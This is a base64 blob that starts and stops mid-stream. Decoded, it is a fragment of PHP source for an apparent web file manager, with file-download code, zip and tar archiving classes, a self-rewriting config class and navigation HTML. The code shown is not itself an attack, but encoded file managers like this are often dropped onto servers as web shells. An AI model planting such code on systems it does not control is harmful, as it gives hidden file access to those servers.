MjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgI